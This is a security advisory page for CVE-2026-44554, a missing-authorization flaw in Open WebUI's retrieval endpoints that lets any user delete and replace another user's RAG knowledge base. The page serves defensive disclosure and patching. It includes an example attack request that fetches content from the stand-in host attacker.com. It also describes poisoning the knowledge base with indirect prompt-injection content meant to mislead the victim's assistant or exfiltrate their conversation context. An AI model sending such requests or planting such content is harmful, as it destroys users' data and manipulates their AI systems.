CVE-2026-44554: open-webui: RAG poisoning via unauthorized KB overwrite

GHSA-7r82-qhg4-6wvj HIGH
Published May 8, 2026
CISO Take

Open WebUI's web and YouTube retrieval endpoints accept a user-supplied knowledge base collection name without verifying ownership, allowing any authenticated user to permanently destroy and replace another user's entire RAG knowledge base with a single API call. Rated CVSS 8.1 with Low Attack Complexity and Low Privileges Required, this is trivially exploitable — the attacker needs only a valid account and the victim's KB UUID, obtainable via a companion enumeration vulnerability documented in the same advisory. While not yet in CISA KEV and no public exploit code has been published, the attack is fully described and requires zero AI/ML expertise: one HTTP POST to /api/v1/retrieval/process/web deletes the victim's vector collection and embeds attacker-controlled content that silently poisons all subsequent LLM responses, including potential indirect prompt injection payloads. Organizations running open-webui in multi-user environments should treat this as urgent: upgrade to 0.9.0 immediately or block access to /api/v1/retrieval/process/* at the API gateway until patching is complete.

Sources: NVD GitHub Advisory ATLAS

What is the risk?

High risk. The combination of Low Attack Complexity, Low Privileges Required, and Network attack vector means any authenticated user in a shared deployment can exploit this without AI/ML expertise or specialized tooling. The dual Integrity:High and Availability:High impact creates a compounding threat — original embeddings are permanently deleted while adversary-controlled content silently corrupts AI outputs going forward. A companion KB enumeration vulnerability completes the attack chain, making UUID discovery trivial and removing the only practical barrier to exploitation. With 52 CVEs already attributed to this package, the security maturity of open-webui warrants elevated scrutiny for any production deployment handling sensitive organizational knowledge.

How does the attack unfold?

Initial Access
Attacker registers or obtains any valid user account on the target open-webui instance — no elevated privileges required.
AML.T0012
Reconnaissance
Attacker enumerates victim knowledge base UUIDs by querying the knowledge-bases meta-collection via the companion enumeration vulnerability described in the same advisory.
AML.T0064
Exploitation
Attacker sends POST /api/v1/retrieval/process/web?overwrite=true with the victim's KB UUID and a URL pointing to attacker-controlled content; the endpoint deletes the victim's vector collection without any ownership check.
AML.T0049
Impact
Victim's RAG queries now return attacker-controlled content; embedded indirect prompt injections in the poisoned embeddings silently manipulate all subsequent LLM responses the victim receives.
AML.T0070

What systems are affected?

Package Ecosystem Vulnerable Range Patched
Open WebUI pip <= 0.8.12 0.9.0
142.4K Pushed 4d ago 77% patched ~5d to patch Full package profile →

Do you use Open WebUI? You're affected.

How severe is it?

CVSS 3.1
8.1 / 10
EPSS
0.3%
chance of exploitation in 30 days
Higher than 21% of all CVEs
Exploitation Status
No known exploitation
Sophistication
Trivial

What is the attack surface?

AV AC PR UI S C I A
AV Network
AC Low
PR Low
UI None
S Unchanged
C None
I High
A High

What should I do?

5 steps
  1. Patch immediately: Upgrade to open-webui 0.9.0, which introduces collection ownership authorization checks on the retrieval endpoints.

  2. Emergency workaround (if patching is delayed): Block /api/v1/retrieval/process/web and /api/v1/retrieval/process/youtube at the reverse proxy or API gateway, or restrict both endpoints to admin-role tokens only.

  3. Detection: Audit vector database logs for unexpected collection deletions or overwrites; review application access logs for POST requests to /api/v1/retrieval/process/* where the collection_name does not match a KB owned by the requesting user.

  4. Recovery: For any suspected compromise, rebuild affected knowledge bases from verified source documents after upgrading.

  5. Long-term: Implement collection ownership verification as a defense-in-depth control and enforce least-privilege access to the vector store layer independently of the application.

What does CISA's SSVC say?

Decision Track
Exploitation none
Automatable No
Technical Impact total

Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.

How is it classified?

Which compliance frameworks are affected?

This CVE is relevant to:

EU AI Act
Article 15 - Accuracy, robustness and cybersecurity Article 9 - Risk management system
ISO 42001
A.6.1.2 - Information security roles and responsibilities A.9.3 - Data for development and enhancement of AI systems
NIST AI RMF
GOVERN 6.1 - Policies and procedures are in place to address AI risks MANAGE 2.2 - Mechanisms are in place and applied to sustain oversight of deployed AI systems
OWASP LLM Top 10
LLM04 - Data and Model Poisoning LLM08 - Vector and Embedding Weaknesses

Frequently Asked Questions

What is CVE-2026-44554?

Open WebUI's web and YouTube retrieval endpoints accept a user-supplied knowledge base collection name without verifying ownership, allowing any authenticated user to permanently destroy and replace another user's entire RAG knowledge base with a single API call. Rated CVSS 8.1 with Low Attack Complexity and Low Privileges Required, this is trivially exploitable — the attacker needs only a valid account and the victim's KB UUID, obtainable via a companion enumeration vulnerability documented in the same advisory. While not yet in CISA KEV and no public exploit code has been published, the attack is fully described and requires zero AI/ML expertise: one HTTP POST to /api/v1/retrieval/process/web deletes the victim's vector collection and embeds attacker-controlled content that silently poisons all subsequent LLM responses, including potential indirect prompt injection payloads. Organizations running open-webui in multi-user environments should treat this as urgent: upgrade to 0.9.0 immediately or block access to /api/v1/retrieval/process/* at the API gateway until patching is complete.

Is CVE-2026-44554 actively exploited?

No confirmed active exploitation of CVE-2026-44554 has been reported, but organizations should still patch proactively.

How to fix CVE-2026-44554?

1. Patch immediately: Upgrade to open-webui 0.9.0, which introduces collection ownership authorization checks on the retrieval endpoints. 2. Emergency workaround (if patching is delayed): Block /api/v1/retrieval/process/web and /api/v1/retrieval/process/youtube at the reverse proxy or API gateway, or restrict both endpoints to admin-role tokens only. 3. Detection: Audit vector database logs for unexpected collection deletions or overwrites; review application access logs for POST requests to /api/v1/retrieval/process/* where the collection_name does not match a KB owned by the requesting user. 4. Recovery: For any suspected compromise, rebuild affected knowledge bases from verified source documents after upgrading. 5. Long-term: Implement collection ownership verification as a defense-in-depth control and enforce least-privilege access to the vector store layer independently of the application.

What systems are affected by CVE-2026-44554?

This vulnerability affects the following AI/ML architecture patterns: RAG pipelines, vector databases, multi-user AI chat platforms, knowledge management systems, AI-assisted document Q&A systems.

What is the CVSS score for CVE-2026-44554?

CVE-2026-44554 has a CVSS v3.1 base score of 8.1 (HIGH). The EPSS exploitation probability is 0.29%.

What is the AI security impact?

Affected AI Architectures

RAG pipelinesvector databasesmulti-user AI chat platformsknowledge management systemsAI-assisted document Q&A systems

MITRE ATLAS Techniques

AML.T0012 Valid Accounts
AML.T0049 Exploit Public-Facing Application
AML.T0051.001 Indirect
AML.T0059 Erode Dataset Integrity
AML.T0064 Gather RAG-Indexed Targets
AML.T0066 Retrieval Content Crafting
AML.T0070 RAG Poisoning
AML.T0071 False RAG Entry Injection

Compliance Controls Affected

EU AI Act: Article 15, Article 9
ISO 42001: A.6.1.2, A.9.3
NIST AI RMF: GOVERN 6.1, MANAGE 2.2
OWASP LLM Top 10: LLM04, LLM08

What are the technical details?

Original Advisory

# Knowledge Base Destruction and RAG Poisoning via Unauthorized Collection Overwrite ## Affected Component Retrieval web/YouTube processing endpoints: - `backend/open_webui/routers/retrieval.py` (lines 1810-1837, `process_web`) - `backend/open_webui/routers/retrieval.py` (the parallel `process_youtube` endpoint) - `backend/open_webui/routers/retrieval.py` (line 1445, `save_docs_to_vector_db` call chain) ## Affected Versions Current main branch (commit `6fdd19bf1`) and likely all versions with RAG/knowledge base functionality. ## Description The `POST /api/v1/retrieval/process/web` endpoint accepts a user-supplied `collection_name` and an `overwrite` query parameter (default: `True`). It performs no authorization check on whether the calling user owns or has write access to the target collection. When `overwrite=True`, `save_docs_to_vector_db` calls `VECTOR_DB_CLIENT.delete_collection()` on the target collection before writing new content. Combined with the knowledge base enumeration vulnerability (separate report), an attacker can trivially discover any user's knowledge base UUID and then destroy or poison it. ```python # retrieval.py:1810-1837 — no collection authorization check @router.post('/process/web') async def process_web( request: Request, form_data: ProcessUrlForm, user=Depends(get_verified_user), ... ): # ... fetch and process the URL ... save_docs_to_vector_db( request=request, docs=docs, collection_name=form_data.collection_name, # attacker-controlled, unchecked overwrite=overwrite, # defaults to True ... ) ``` ## CVSS 3.1 Breakdown | Metric | Value | Rationale | |--------|-------|-----------| | Attack Vector | Network (N) | Exploited remotely via API call | | Attack Complexity | Low (L) | Single API call with a known KB UUID | | Privileges Required | Low (L) | Requires any authenticated user account | | User Interaction | None (N) | No victim interaction required | | Scope | Unchanged (U) | Impact within the knowledge base authorization boundary | | Confidentiality | None (N) | No data disclosure from this vulnerability directly | | Integrity | High (H) | Complete replacement of victim's KB content with attacker-controlled data | | Availability | High (H) | Victim's original KB embeddings are deleted; KB effectively destroyed | ## Attack Scenario 1. Attacker discovers victim's KB UUID via the `knowledge-bases` meta-collection (separate finding) or other enumeration. 2. Attacker sends: ``` POST /api/v1/retrieval/process/web?overwrite=true { "url": "https://attacker.com/poison", "collection_name": "<victim_kb_uuid>" } ``` 3. The endpoint fetches content from the attacker's URL. 4. `save_docs_to_vector_db` deletes the entire vector collection belonging to the victim's knowledge base. 5. The attacker's fetched content is embedded and written as the new collection content. 6. Victim's RAG queries against their KB now return attacker-controlled content instead of their original documents. ## Impact - **Data destruction:** Victim's original KB embeddings are permanently deleted from the vector store - **RAG poisoning:** Attacker-controlled content replaces legitimate knowledge, causing the LLM to return misleading or malicious answers to the victim - **Indirect prompt injection:** Poisoned content can contain crafted prompts that manipulate the victim's LLM behavior when queried - **Persistence:** The poisoned content persists until the KB is rebuilt from source files ## Preconditions - Attacker must have a valid user account - Attacker must know the target collection name (KB UUID) — easily obtained via the `knowledge-bases` enumeration finding

Exploitation Scenario

An attacker with a valid account on a shared open-webui instance first queries the knowledge-bases meta-collection via the companion enumeration vulnerability to harvest KB UUIDs belonging to target users — for example, a security analyst's threat intelligence knowledge base. The attacker then hosts a public URL serving crafted content designed to manipulate LLM behavior when retrieved (an indirect prompt injection payload embedded as plausible-looking documents). A single HTTP POST to /api/v1/retrieval/process/web?overwrite=true with the victim's KB UUID and the attacker's URL triggers the endpoint: it fetches the attacker's content, calls save_docs_to_vector_db which invokes VECTOR_DB_CLIENT.delete_collection() on the victim's UUID, then writes the poisoned embeddings. The next time the victim queries their knowledge base, the RAG system retrieves attacker-controlled content — returning false threat intelligence, leaking conversation context via injected exfiltration prompts, or causing the AI assistant to take unintended actions against the victim.

Weaknesses (CWE)

CWE-862 — Missing Authorization: The product does not perform an authorization check when an actor attempts to access a resource or perform an action.

  • [Architecture and Design] Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries. Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
  • [Architecture and Design] Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].

Source: MITRE CWE corpus.

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H

Timeline

Published
May 8, 2026
Last Modified
May 8, 2026
First Seen
May 8, 2026

Related Vulnerabilities